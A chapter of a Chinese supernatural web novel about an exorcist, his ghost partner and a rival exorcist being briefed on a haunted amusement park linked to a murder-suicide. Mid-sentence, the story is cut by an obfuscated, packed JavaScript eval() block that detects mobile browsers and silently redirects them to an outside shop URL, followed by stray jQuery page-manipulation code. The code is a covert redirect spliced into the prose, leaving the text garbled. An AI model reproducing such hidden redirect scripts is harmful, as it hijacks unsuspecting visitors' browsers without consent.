三天后,小病痊愈的姚千和我踏上了前往s省的道路。
姚千并不想让我去,来之前跟我详细阐述种种危险之处,恐怖程度足以止小儿夜啼,颇有恫吓用意。我全盘听完,没什么感触,只是很奇怪。
“为什么不想让我去?你之前可是大摇大摆带我去过两次灵域。”
姚千就不说话了,半晌才道:“我不一定能保护你。”
这算什么理由?我打量姚千表情,和往常许多次一样看不出什么端倪。
“说起来,”我突然想到,“毕竟我是残灵。事实上大部分灵域,都不会想对我赶尽杀绝吧?”
“毕竟是残灵的灵域,不应该以杀人类为第一要务么?”
我做出十分合乎情理的推论。
姚千可疑地沉默了。
我继续问他:“是不是?”
姚千终于败下阵来:“那就一起去吧。”
s省负责接待的人员姓邓,看起来只有二十出头,和上次的张主任不同的是,这位是个灵感者。也就是说,他能够看到我。
这位邓科长见到我,显而易见地愣了一下,却也没有太过吃惊,大概也见过其他携带残灵的驱灵师。
姚千先一步介绍我:“这位是我的搭档,祝虹。”
邓科长客气地和我打招呼,我也抱以客气,对姚千不知道哪里编出来的陌生名字欣然接受。
这一刻,我再次想起来一个月前任谊的描述:我死在了特殊的涉密事件里。
我问过姚千,他说自己对那件涉密事件也不了解——但此刻却故意在官方人员面前隐瞒了我的性命,这意味着,他还有事情瞒着我。
苏吉光这个名字,还能有什么不可告人之处?
“另一位前两天就已经过来了。”邓科长道,“之前和姚先生已经确认了行程,我们直接坐车过去。”
我们跟着邓科长坐上车,车程不长,这位邓科长和我简单聊过几句,又介绍道:“说起来,这次任务的搭档,之前是不是还没跟您介绍过?”
“没有。”姚千答得心不在焉,一贯的缺少热情。
“姚先生之前应该也听说过这位。是乐语乐先生,”介绍大概是说给我的,“灵能力是……”
“谁?”姚千打断他的话。
气氛陡然降温,邓科长察觉到语气不对,看向姚千,声音低了点儿,犹豫地重复:“乐语乐先生。”
姚千皱着眉笑了一下,一贯平淡的脸上鲜少出现如此丰富的表情,看样子像是气笑了:“怪不得老杨说他也不知道搭档是谁。”
事情居然还有这种发展,我登时来了兴趣:“你认识他啊?有过节?”
“认识。没有过节。”姚千答得意简言赅,但内容真实性显然存疑。
他问邓科长:“他怎么在s省了?”
“来我们s省有两年了,姚先生没有关注吧。”
姚千接受了这个答案,自言自语:“确实很久没有听到过他的消息。”
他接着诚恳提出问题:“现在把我们两中任何一个换掉,还有没有机会?”
“……”
从后视镜能看到邓科长露出那种“你在跟我开玩笑吗”的表情。
“您觉得呢?”拒绝得很流畅。
我虚空捅捅姚千:“怎么?这个人有问题?”
邓科长继续努力地打圆场:“这中间一定有什么误会吧?乐先生为人正直,实力强劲,性格也随和,作为搭档来说是十分优秀的。”
“呵呵。”姚千冷笑,“我知道。”
邓科长的劝解看上去完全起了反作用。
难得见到喜怒不形于色的姚千还有这种反应,这热闹实在是越看越带劲,我不禁也好奇起来,这位乐语到底何许人也。
说话间,我们已经到了目的地。
邓科长眼见情况不对,最终忠于职守地朝姚千补充一句:“不好意思,事先没和您说清楚是我们协调的问题,但是……”
姚千打断他:“没事的,不会影响任务。老杨也知道这一点,才隐瞒的。”
我们下车,看到十几米树荫下站着一个穿米色外套的年轻人,这人看见我们下车,远远地颔首一笑。
作为残灵,我的视力算是相当不错,隔着这么远,也看得清年轻人的样貌。
这人看上去大概二十五六岁年纪,穿着年轻,染着褐色头发,发型打理得很精细,双眼皮生得恰到好处,笑起来眼睛弯弯,神色和暖,是个明媚阳光的帅气人类。
只是随着我们步步走近,这位乐先生的表情逐渐开始不对劲起来,眼睛略微睁大,仿佛看到什么不可置信的东西。
果然啊,我心中嘀咕,姚千反应那么大,他们之间肯定有点过节。
越走越近,我终于发现不对劲。
这位乐语同志的眼神并不是落在姚千身上……而是我的身上。
连邓科长都看出来,问乐语:“你和祝小姐认识?”
“……”乐语茫然一秒,还是接受了祝小姐这个不属于我的新称呼,“之前认识。”
乐语说这句话的时候,目光还是落在我脸上,根本没多分点儿给姚千。就连方才跟姚千打招呼的语气,也亲切友好,毫无异常,并没有出现我想象中两人一见面即剑拔弩张的糟糕场面。
甚至完全看不出来这人和姚千有什么过节。
……不会是和我有过节吧?我疑神疑鬼起来。
两位驱灵师到齐,风铃游乐园就在面前,邓科长开始讲述更详尽的资料。
“从这里,再往东南方向,就是风铃游乐园了。”他一手捧着平板,朝着远处的建筑群指了指——其实也不太可能认错,毕竟那里正矗立着一架显眼异常的摩天轮。
“两、三位应该都风铃游乐园有所耳闻,但是具体情况,还是容我再介绍一下。”他点开平板里的资料,“游乐园实际建于16年前,虽然叫做游乐园,但实际上是公园与游乐园一体的综合设施,主打以绿植繁茂、空气清新的特点。风铃这种清新风格的命名,也是由此而来。”
“之后由于经营不善,设施逐年老化,游乐园的游客量也大幅减少,游乐园终于在4年前正式关停。这片土地当时预备挂牌出售,寻找下一个接手的老板。”
邓科长声音一沉,“也就是在这个时候,游乐园里突然发生了一起杀人案。”
所谓杀人案,也就是人类杀了人类。
“被害人是p市本地一个互联网企业的老总,史东风,是趁着那几年行业起飞发家的,在s省也有一定名声。前几年他正做行业转型,打算接手风铃游乐园,来这里也是实地调研。”
“杀人者则是与他同行的一个企业管理层成员,姓夏,夏依然。”
他一边说着,一边将平板上面朝我们,上面分别是一男一女的照片。
男人看上去四十出头,穿一件polo衫,倒也有商业人士的模样,只是领口并不平整,整体显出松垮之态。
而另一张照片里三十岁左右的女性,眼神则要凌厉许多,神色不苟言笑,衣着也是一丝不苟,整个人像是精心雕刻过一般,找不出任何散漫迹象。
“根据事后其他同行者的描述,杀人应该是早有预谋,夏依然故意让同行的人前往其他地方查看情况,留下自己和史东风在一起。”
“众人听到呼救声赶来时,刀子已经捅入了史东风身体。趁着众人查看史东风的情况,夏依然选择了割喉自尽。”
“割喉?”我略感意外。
这种自杀方式可真是不同寻常。
“听起来是很不可思议,”邓科
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220985|150322||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
长翻了翻手里的材料,“但案卷确实是这样记录的。”
“由于脖颈大动脉血流丰富,在场有好几人上衣都溅上了血。尸检结果也和现场许多人的口供一致,可以确定夏依然的确是自己割喉死亡的。”
“好激烈的手法,看来是死意已决啊。”乐语感慨道,“所以,这个灵域的主人就是她?”
“可能性很大。”
邓科长继续念道,“自这起杀人案之后,围绕着风铃游乐园,逐渐开始出现不正常的失踪事件,并有证据证明与此地有关。此后,这里便被p市部门划为未评级灵域。直到调查员吴忠先生前来此处调查并就此失踪,才正式将难度等级划分为A级。”
“所以,”我插嘴问道,“夏依然到底为什么要杀这个史总?理由是什么?”
“资料里,有对杀人动机的调查。”邓科长将平板上的内容朝下翻了翻。
“夏依然,32岁,名牌大学毕业,毕业后即进入企业工作,工作能力受到一致肯定。30岁时被高薪挖到史东风的企业担任管理层人员,由于职务需要和史东风接触较多。”
“家庭背景很简单,父母很早就亡故,是祖母将她抚养长大。由于祖母也只是普通的乡镇妇女,靠开早餐摊维生,所以夏依然的家庭条件非常一般,大学还是靠助学贷款读完的。大概在夏依然30岁时,祖母因病亡故,她没有结婚,在世上也就没有什么其他亲人了。”
“至于她为什么要杀史东风,没有明确的结果,有人说是感情纠纷,也有人说是因为工作中产生的摩擦。”邓科长扶了扶眼镜,对着平板念道。
“感情纠纷?”乐语扯着嘴角笑了一下,“那个史东风多大年纪?”
“被杀时46岁。”邓科长道,“有妻子,还有两个儿子。后来警方经过查证,没有找到两人有存在婚外情关系的证据。”
“那工作摩擦呢?”我还是认为这个可能性相对靠谱一些。
“不清楚,有人说史东风和夏依然走得很近,也有人说夏依然举报过史东风经济上存在不法行为,但仍然因为没有证据,最后不了了之。”
我歪了歪脑袋:“所以到底有没有不法行为?”
“这不是调查的内容。”邓科长合上平板,抬头看看我们三人,语气平淡地提醒,“资料我已经将电子版发给二位了。这只是调查的内容,外人眼中的夏依然,未必就是真正的夏依然自己。”
“连真相里本身,也未必有真正的夏依然呢?”
他一顿,转而又道:“至于对夏依然个人情况的调查,还有很重要的一点。夏依然是个非常看重规则的人。”
“很多和她共事过的人都提到,夏依然做事一板一眼,只要定下规矩,便很少更改。自己更是一个准时守规的人,被很多人评价为值得信赖的合作对象。”
“而相对应的,”他语气加重,“根据幸存驱灵师的描述,这个灵域里确实有很多有关于‘规则’的东西。”
“哦?”乐语眯眼笑道,“灵域里最不缺的就是规则了。”
“和一般灵域当然不一样。”邓科长回道,“根据描述,这个灵域里的规则非常多,存在于灵域的各个角落。”
他扶了扶眼镜,继续道,“而且根据幸存者所说,这些规则,有真有假,有最初存在的,也有被涂抹编造的。”
“找到真正的规则,遵守它们,才有机会活下去。”
“而根据资料所说,”邓科长一顿,“即便是正确的规则,也可能会引导着人走向死亡。”
这实在不是一个好消息,在气氛彻底跌入冰点前,他又抛出了一句稍微能和缓气氛的话。
“好消息是,幸存者还留下了一个关键信息。”
“携带红笔的工作人员是可以相信的,他们会带你出来。”